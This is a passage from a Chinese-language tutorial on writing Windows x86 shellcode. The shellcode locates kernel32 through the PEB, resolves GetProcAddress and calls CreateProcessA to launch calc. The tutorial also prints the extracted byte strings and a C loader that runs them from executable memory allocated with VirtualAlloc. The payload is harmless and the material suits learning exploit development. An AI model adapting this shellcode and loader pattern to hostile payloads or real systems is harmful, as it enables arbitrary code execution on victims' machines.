and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff ) xor edi, edi ;edi now 0x00000000 zero_loop: push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory' push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc' push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc push 0x61737365 ; asse sub word ptr [esp + 0x3 ], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi xor ecx, ecx push ecx call eax } return 0 ; }
发现运行正常:
开始提取shellcode
。先看下编写的汇编程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 global _start section .text _start: xor ecx, ecx mov eax, fs:[ecx + 0x30] ; EAX = PEB mov eax, [eax + 0xc] ; EAX = PEB->Ldr mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax, esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third(kernel32) mov ebx, [eax + 0x10] ; EBX = kernel32 Base address mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset names table add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0 GetFunction : inc ecx ;increment counter lodsd ;Get name offset add eax, ebx ;Get function name cmp dword [eax], 0x50746547 ;"PteG" jnz short GetFunction ;jump to GetFunction label if not "GetP" cmp dword [eax + 0x4], 0x41636F72 ;"rocA" jnz short GetFunction ;jump to GetFunction label if not "rocA" cmp dword [eax + 0x8], 0x65726464 ;"ddre" jnz short GetFunction ;jump to GetFunction label if not "ddre" mov esi, dword ds:[edx + 0x24] ;esi = Offset ordinals add esi, ebx ;esi = Ordinals table mov cx, word ds:[esi + ecx * 2] ;cx = Number of function dec ecx ;Decrement the ordinal mov esi, dword ds:[edx + 0x1C] ;esi = Offset address table add esi, ebx ;esi = Address table mov edx, dword ds:[esi + ecx * 4] ;edx = Pointer(offset) add edx, ebx ;edx = GetProcAddress mov esi, edx ;esi = GetProcAddress xor ecx, ecx ; zeroing ecx push ebx ; kernel32 base address push edx ; GetProcAddress push 0x61614173 ; aaAs sub word [esp + 0x2], 0x6161 ; aaAs - aa push 0x7365636f ; seco push 0x72506574 ; rPet push 0x61657243 ; aerC push esp ; push the pointer to stack push ebx call edx ; call getprocAddress ; for 'lpProcessInformation' and 'lpStartupInfo' xor ecx, ecx ; zero out counter register mov cl, 0xff ; we ll loop 255 times (0xff) xor edi, edi ;edi now 0x00000000 zero_loop: push edi; place 0x00000000 on stack 255 times loop zero_loop; as a way to 'zero memory' push 0x636c6163 ;calc mov ecx, esp ;stack pointer to 'calc' push ecx ; processinfo pointing to 'calc' as a struct argument push ecx ; startupinfo pointing to 'calc' as a struct argument xor edx, edx ; zero out push edx ; NULLS push edx push edx push edx push edx push edx push ecx ; 'calc' push edx call eax ; call CreateProcessA and spawn calc push 0x61737365 ; asse sub word [esp + 0x3], 0x61 ; asse -a push 0x636F7250 ; corP push 0x74697845 ; tixE push esp push ebx call esi xor ecx, ecx push ecx call eax
和之前的内联汇编略有不同,内存寻址的时候不需要加ptr
,cmp
比较的时候需要指定类型。编译的时候既可以选择elf32
也可以选择win32
。得到的shellcode
略有不同,但都是能够执行成功的。来看一下。
编译为elf32
:
提取shellcode
:
1 2 3 ┌──(kali㉿kali)-[~/Desktop] └─$ objdump -d get_calc_shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0
编译为win32
:
提取shellcode
:
1 2 3 ┌──(kali㉿kali)-[~/Desktop] └─$ objdump -d get_calc_shellcode.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00"
发现编译成win32之
后,提取出来的shellcode
包含\x00
截断字符,在后续的验证程序中,截断字符及后面的字符可以保留也可以删掉,不影响弹计算器。
最后的执行程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <windows.h> int main () { char * shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x3e\x8b\x72\x24\x01\xde\x3e\x66\x8b\x0c\x4e\x49\x3e\x8b\x72\x1c\x01\xde\x3e\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9\x53\x52\x68\x73\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52\x51\x52\xff\xd0\x68\x65\x73\x73\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x31\xc9\x51\xff\xd0\xff\xff\xff\xff" ; printf ("shellcode length: %i" , strlen (shellcode)); LPVOID lpAlloc = VirtualAlloc(0 , 4096 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (lpAlloc, shellcode, strlen (shellcode)); ((void (*)())lpAlloc)(); return 0 ; }
最终,执行成功:
参考:
1.https://www.cnblogs.com/bokernb/p/6404795.html
2.https://xz.aliyun.com/t/10478#toc-6
3.https://www.linkedin.com/pulse/how-write-windows-shellcode-beginners-part-2-abdel-harbi/?trk=mp-author-card
4.https://tech-zealots.com/malware-analysis/pe-portable-executable-structure-malware-analysis-part-2/
5.https://medium.com/ax1al/a-brief-introduction-to-pe-format-6052914cc8dd
6.https://resources.infosecinstitute.com/topic/the-export-directory/
7.https://blog.kowalczyk.info/articles/pefileformat.html
8.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-1-Locating-the-kernelbase-address/#
9.https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-2-Locate-the-Export-Directory-Table/#
10.https://www.linkedin.com/pulse/write-windows-shellcode-beginners-part-3-final-abdel-harbi/
11.https://h0mbre.github.io/Babys-First-Shellcode/#
12.https://blackcloud.me/Win32-shellcode-2/